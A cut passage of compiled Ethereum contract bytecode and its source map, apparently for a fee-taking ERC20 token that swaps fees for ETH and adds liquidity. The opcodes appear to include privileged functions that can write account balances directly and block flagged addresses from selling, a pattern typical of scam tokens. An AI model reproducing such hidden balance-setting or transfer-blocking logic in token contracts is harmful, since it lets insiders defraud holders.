3ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906142ab565b60405180910390fd5b601f60149054906101000a900460ff1615612bb757612bb0848484612fcf565b9050612ee1565b6000612bc230611bf3565b90506000601d548210159050808015612be85750601f60149054906101000a900460ff16155b8015612c3e5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c565750601f60159054906101000a900460ff165b15612c8057601f60169054906101000a900460ff1615612c7657601d5491505b612c7f826131a2565b5b612c8986613393565b15612d2457612ce084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f4c90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dc75750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddb57612dd68787876133d8565b612ddd565b845b9050612e3181600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ed1919061438b565b60405180910390a3600193505050505b9392505050565b6000838311158290612f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f279190614289565b60405180910390fd5b5060008385612f3f9190614581565b9050809150509392505050565b6000612f8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee8565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600061305a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ef82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161318f919061438b565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff02191690831515021790555060006131fb60026131ed6019546131df601454876136a890919063ffffffff16565b61372390919063ffffffff16565b61372390919063ffffffff16565b905060006132128284612f4c90919063ffffffff16565b905061321d8161376d565b6000479050600061324e61323d600260145461372390919063ffffffff16565b601954612f4c90919063ffffffff16565b9050600061328c600261327e84613270601454886136a890919063ffffffff16565b61372390919063ffffffff16565b61372390919063ffffffff16565b905060006132b7836132a9601654876136a890919063ffffffff16565b61372390919063ffffffff16565b905060006132e0826132d28588612f4c90919063ffffffff16565b612f4c90919063ffffffff16565b9050600081111561331857613317600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826139f8565b5b600082111561334e5761334d600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836139f8565b5b60008311801561335e5750600087115b1561336e5761336d8784613a43565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166133b7600154613b37565b73ffffffffffffffffffffffffffffffffffffffff16141515159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661348857600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561348757600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135095761350260646134f4601754866136a890919063ffffffff16565b61372390919063ffffffff16565b9050613587565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613586576135836064613575601854866136a890919063ffffffff16565b61372390919063ffffffff16565b90505b5b600081111561368b576135e281600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613682919061438b565b60405180910390a35b61369e8184612f4c90919063ffffffff16565b9150509392505050565b6000808314156136bb576000905061371d565b600082846136c99190614527565b90508284826136d891906144f6565b14613718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370f9061430b565b60405180910390fd5b809150505b92915050565b600061376583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b49565b905092915050565b6000600267ffffffffffffffff81111561378a576137896147ce565b5b6040519080825280602002602001820160405280156137b85781602001602082028036833780820191505090505b50905030816000815181106137d0576137cf61479f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387257600080fd5b505afa158015613886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138aa9190613cb7565b816001815181106138be576138bd61479f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061392530601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139899594939291906143d6565b600060405180830381600087803b1580156139a357600080fd5b505af11580156139b7573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516139ec9291906143a6565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a3e573d6000803e3d6000fd5b505050565b613a7030601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613abc611dae565b426040518863ffffffff1660e01b8152600401613ade969594939291906141f2565b6060604051808303818588803b158015613af757600080fd5b505af1158015613b0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b309190613f24565b5050505050565b6000613b4282613bac565b9050919050565b60008083118290613b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b879190614289565b60405180910390fd5b5060008385613b9f91906144f6565b9050809150509392505050565b6000819050919050565b600081359050613bc581614a04565b92915050565b600081519050613bda81614a04565b92915050565b60008083601f840112613bf657613bf5614802565b5b8235905067ffffffffffffffff811115613c1357613c126147fd565b5b602083019150836020820283011115613c2f57613c2e614807565b5b9250929050565b600081359050613c4581614a1b565b92915050565b600081359050613c5a81614a32565b92915050565b600081519050613c6f81614a32565b92915050565b600081359050613c8481614a49565b92915050565b600060208284031215613ca057613c9f614811565b5b6000613cae84828501613bb6565b91505092915050565b600060208284031215613ccd57613ccc614811565b5b6000613cdb84828501613bcb565b91505092915050565b60008060408385031215613cfb57613cfa614811565b5b6000613d0985828601613bb6565b9250506020613d1a85828601613bb6565b9150509250929050565b600080600060608486031215613d3d57613d3c614811565b5b6000613d4b86828701613bb6565b9350506020613d5c86828701613bb6565b9250506040613d6d86828701613c4b565b9150509250925092565b60008060408385031215613d8e57613d8d614811565b5b6000613d9c85828601613bb6565b9250506020613dad85828601613c4b565b9150509250929050565b600080600060408486031215613dd057613dcf614811565b5b600084013567ffffffffffffffff811115613dee57613ded61480c565b5b613dfa86828701613be0565b93509350506020613e0d86828701613c36565b9150509250925092565b600080600060408486031215613e3057613e2f614811565b5b600084013567ffffffffffffffff811115613e4e57613e4d61480c565b5b613e5a86828701613be0565b93509350506020613e6d86828701613c75565b9150509250925092565b600060208284031215613e8d57613e8c614811565b5b6000613e9b84828501613c36565b91505092915050565b600060208284031215613eba57613eb9614811565b5b6000613ec884828501613c4b565b91505092915050565b600080600060608486031215613eea57613ee9614811565b5b6000613ef886828701613c4b565b9350506020613f0986828701613c4b565b9250506040613f1a86828701613c4b565b9150509250925092565b600080600060608486031215613f3d57613f3c614811565b5b6000613f4b86828701613c60565b9350506020613f5c86828701613c60565b9250506040613f6d86828701613c60565b9150509250925092565b6000613f838383613f9e565b60208301905092915050565b613f98816145c7565b82525050565b613fa7816145b5565b82525050565b613fb6816145b5565b82525050565b6000613fc78261445b565b613fd1818561447e565b9350613fdc8361444b565b8060005b8381101561400d578151613ff48882613f77565b9750613fff83614471565b925050600181019050613fe0565b5085935050505092915050565b614023816145d9565b82525050565b6140328161461c565b82525050565b6140418161462e565b82525050565b600061405282614466565b61405c818561448f565b935061406c818560208601614664565b61407581614816565b840191505092915050565b600061408d60238361448f565b915061409882614827565b604082019050919050565b60006140b060228361448f565b91506140bb82614876565b604082019050919050565b60006140d3601b8361448f565b91506140de826148c5565b602082019050919050565b60006140f660218361448f565b9150614101826148ee565b604082019050919050565b600061411960208361448f565b91506141248261493d565b602082019050919050565b600061413c60258361448f565b915061414782614966565b604082019050919050565b600061415f60248361448f565b915061416a826149b5565b604082019050919050565b61417e81614605565b82525050565b61418d8161460f565b82525050565b60006020820190506141a86000830184613fad565b92915050565b60006020820190506141c36000830184613f8f565b92915050565b60006040820190506141de6000830185613fad565b6141eb6020830184613fad565b9392505050565b600060c0820190506142076000830189613fad565b6142146020830188614175565b6142216040830187614038565b61422e6060830186614038565b61423b6080830185613fad565b61424860a0830184614175565b979650505050505050565b6000602082019050614268600083018461401a565b92915050565b60006020820190506142836000830184614029565b92915050565b600060208201905081810360008301526142a38184614047565b905092915050565b600060208201905081810360008301526142c481614080565b9050919050565b600060208201905081810360008301526142e4816140a3565b9050919050565b60006020820190508181036000830152614304816140c6565b9050919050565b60006020820190508181036000830152614324816140e9565b9050919050565b600060208201905081810360008301526143448161410c565b9050919050565b600060208201905081810360008301526143648161412f565b9050919050565b6000602082019050818103600083015261438481614152565b9050919050565b60006020820190506143a06000830184614175565b92915050565b60006040820190506143bb6000830185614175565b81810360208301526143cd8184613fbc565b90509392505050565b600060a0820190506143eb6000830188614175565b6143f86020830187614038565b818103604083015261440a8186613fbc565b90506144196060830185613fad565b6144266080830184614175565b9695505050505050565b60006020820190506144456000830184614184565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006144ab82614605565b91506144b683614605565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144eb576144ea614712565b5b828201905092915050565b600061450182614605565b915061450c83614605565b92508261451c5761451b614741565b5b828204905092915050565b600061453282614605565b915061453d83614605565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561457657614575614712565b5b828202905092915050565b600061458c82614605565b915061459783614605565b9250828210156145aa576145a9614712565b5b828203905092915050565b60006145c0826145e5565b9050919050565b60006145d2826145e5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061462782614640565b9050919050565b600061463982614605565b9050919050565b600061464b82614652565b9050919050565b600061465d826145e5565b9050919050565b60005b83811015614682578082015181840152602081019050614667565b83811115614691576000848401525b50505050565b600060028204905060018216806146af57607f821691505b602082108114156146c3576146c2614770565b5b50919050565b60006146d482614605565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561470757614706614712565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614a0d816145b5565b8114614a1857600080fd5b50565b614a24816145d9565b8114614a2f57600080fd5b50565b614a3b81614605565b8114614a4657600080fd5b50565b614a528161460f565b8114614a5d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207146c80656cbe38f3d895d880be285183d42414a6620963f5f961762a141c49664736f6c63430008070033

Deployed Bytecode Sourcemap

4228:14819:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8080:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9374:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4560:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4283:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5933:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8357:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14051:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11497:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4607:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12680:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12226:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8266:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12086:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8743:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11954:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4987:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13693:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6048:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5087:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5392:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12954:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5433:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11618:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8465:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9888:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5725:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5795:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5557:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5266:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4932:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8171:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15670:275;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9246:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5602:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10450:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8969:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12543:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5474:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13876:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5039:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11131:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5223:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12363:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5181:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5981:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5309:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4873:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5352:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4513:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10114:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6095:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5139:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8592:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5513:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11844:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4816:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6147:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8080:83;8117:13;8150:5;8143:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8080:83;:::o;9374:161::-;9449:4;9466:39;9475:12;:10;:12::i;:::-;9489:7;9498:6;9466:8;:39::i;:::-;9523:4;9516:11;;9374:161;;;;:::o;4560:40::-;;;;;;;;;;;;;:::o;4283:76::-;;;;:::o;5933:41::-;;;;;;;;;;;;;:::o;8357:100::-;8410:7;8437:12;;8430:19;;8357:100;:::o;14051:313::-;14149:4;14166:36;14176:6;14184:9;14195:6;14166:9;:36::i;:::-;;14213:121;14222:6;14230:12;:10;:12::i;:::-;14244:89;14282:6;14244:89;;;;;;;;;;;;;;;;;:11;:19;14256:6;14244:19;;;;;;;;;;;;;;;:33;14264:12;:10;:12::i;:::-;14244:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14213:8;:121::i;:::-;14352:4;14345:11;;14051:313;;;;;:::o;11497:113::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11594:8:::1;11575:16;;:27;;;;;;;;;;;;;;;;;;11497:113:::0;:::o;4607:81::-;;;:::o;12680:128::-;12733:7;12760:40;12777:22;12787:11;12777:9;:22::i;:::-;12760:12;;:16;;:40;;;;:::i;:::-;12753:47;;12680:128;:::o;12226:129::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12336:10:::1;12308:17;;:39;;;;;;;;;;;;;;;;;;12226:129:::0;:::o;8266:83::-;8307:5;8332:9;;;;;;;;;;;8325:16;;8266:83;:::o;12086:132::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12199:10:::1;12171:17;;:39;;;;;;;;;;;;;;;;;;12086:132:::0;:::o;8743:218::-;8831:4;8848:83;8857:12;:10;:12::i;:::-;8871:7;8880:50;8919:10;8880:11;:25;8892:12;:10;:12::i;:::-;8880:25;;;;;;;;;;;;;;;:34;8906:7;8880:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8848:8;:83::i;:::-;8949:4;8942:11;;8743:218;;;;:::o;11954:124::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12062:8:::1;12036:23;:34;;;;11954:124:::0;:::o;4987:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13693:140::-;13757:37;13765:17;;;;;;;;;;;13783:10;13757:7;:37::i;:::-;13753:51;;13796:7;;13753:51;13827:4;13810:9;:14;13820:3;13810:14;;;;;;;;;;;;;;;:21;;;;13693:140;;;:::o;6048:40::-;;;;;;;;;;;;;:::o;5087:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;5392:34::-;;;;:::o;12954:731::-;13034:22;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13071:35:::1;13128:16;13071:74;;13194:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13176:53;;;13238:4;13245:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13176:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13159:110;;13311:1;13285:28;;:14;:28;;;13282:200;;;13374:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13356:74;;;13439:4;13446:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13356:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13339:131;;13282:200;13508:14;13494:11;;:28;;;;;;;;;;;;;;;;;;13551:16;13533:15;;:34;;;;;;;;;;;;;;;;;;13625:4;13581:19;:41;13609:11;;;;;;;;;;;13581:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;13673:4;13640:8;:30;13657:11;;;;;;;;;;;13640:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13058:627;12954:731:::0;;;:::o;5433:34::-;;;;:::o;11618:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11724:9:::1;11720:109;11743:6;;:13;;11739:1;:17;11720:109;;;11811:6;11778:19;:30;11798:6;;11805:1;11798:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11778:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11758:3;;;;;:::i;:::-;;;;11720:109;;;;11618:218:::0;;;:::o;8465:119::-;8531:7;8558:9;:18;8568:7;8558:18;;;;;;;;;;;;;;;;8551:25;;8465:119;;;:::o;9888:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9992:9:::1;9988:111;10011:7;;:14;;10007:1;:18;9988:111;;;10079:8;10047:17;:29;10065:7;;10073:1;10065:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10047:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;10027:3;;;;;:::i;:::-;;;;9988:111;;;;9888:218:::0;;;:::o;5725:62::-;;;;:::o;5795:60::-;;;;:::o;5557:38::-;;;;:::o;5266:36::-;;;;:::o;4932:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;8171:87::-;8210:13;8243:7;8236:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8171:87;:::o;15670:275::-;15734:37;15742:17;;;;;;;;;;;15760:10;15734:7;:37::i;:::-;15730:51;;15773:7;;15730:51;15796:9;15791:147;15811:2;;:9;;15807:1;:13;15791:147;;;15852:1;15846:2;:7;;;15842:85;;15875:4;15855:10;:17;15866:2;;15869:1;15866:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15855:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;15842:85;;;15920:5;15900:10;:17;15911:2;;15914:1;15911:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15900:17;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;15842:85;15822:3;;;;:::i;:::-;;;15791:147;;;;15670:275;;;;:::o;9246:120::-;9308:7;9335:23;;9328:30;;9246:120;:::o;5602:44::-;;;;:::o;10450:336::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10589:15:::1;10569:17;:35;;;;10635:15;10615:17;:35;;;;10676:10;10661:12;:25;;;;10720:58;10765:12;;10720:40;10742:17;;10720;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;10699:18;:79;;;;10450:336:::0;;;:::o;8969:269::-;9062:4;9079:129;9088:12;:10;:12::i;:::-;9102:7;9111:96;9150:15;9111:96;;;;;;;;;;;;;;;;;:11;:25;9123:12;:10;:12::i;:::-;9111:25;;;;;;;;;;;;;;;:34;9137:7;9111:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9079:8;:129::i;:::-;9226:4;9219:11;;8969:269;;;;:::o;12543:125: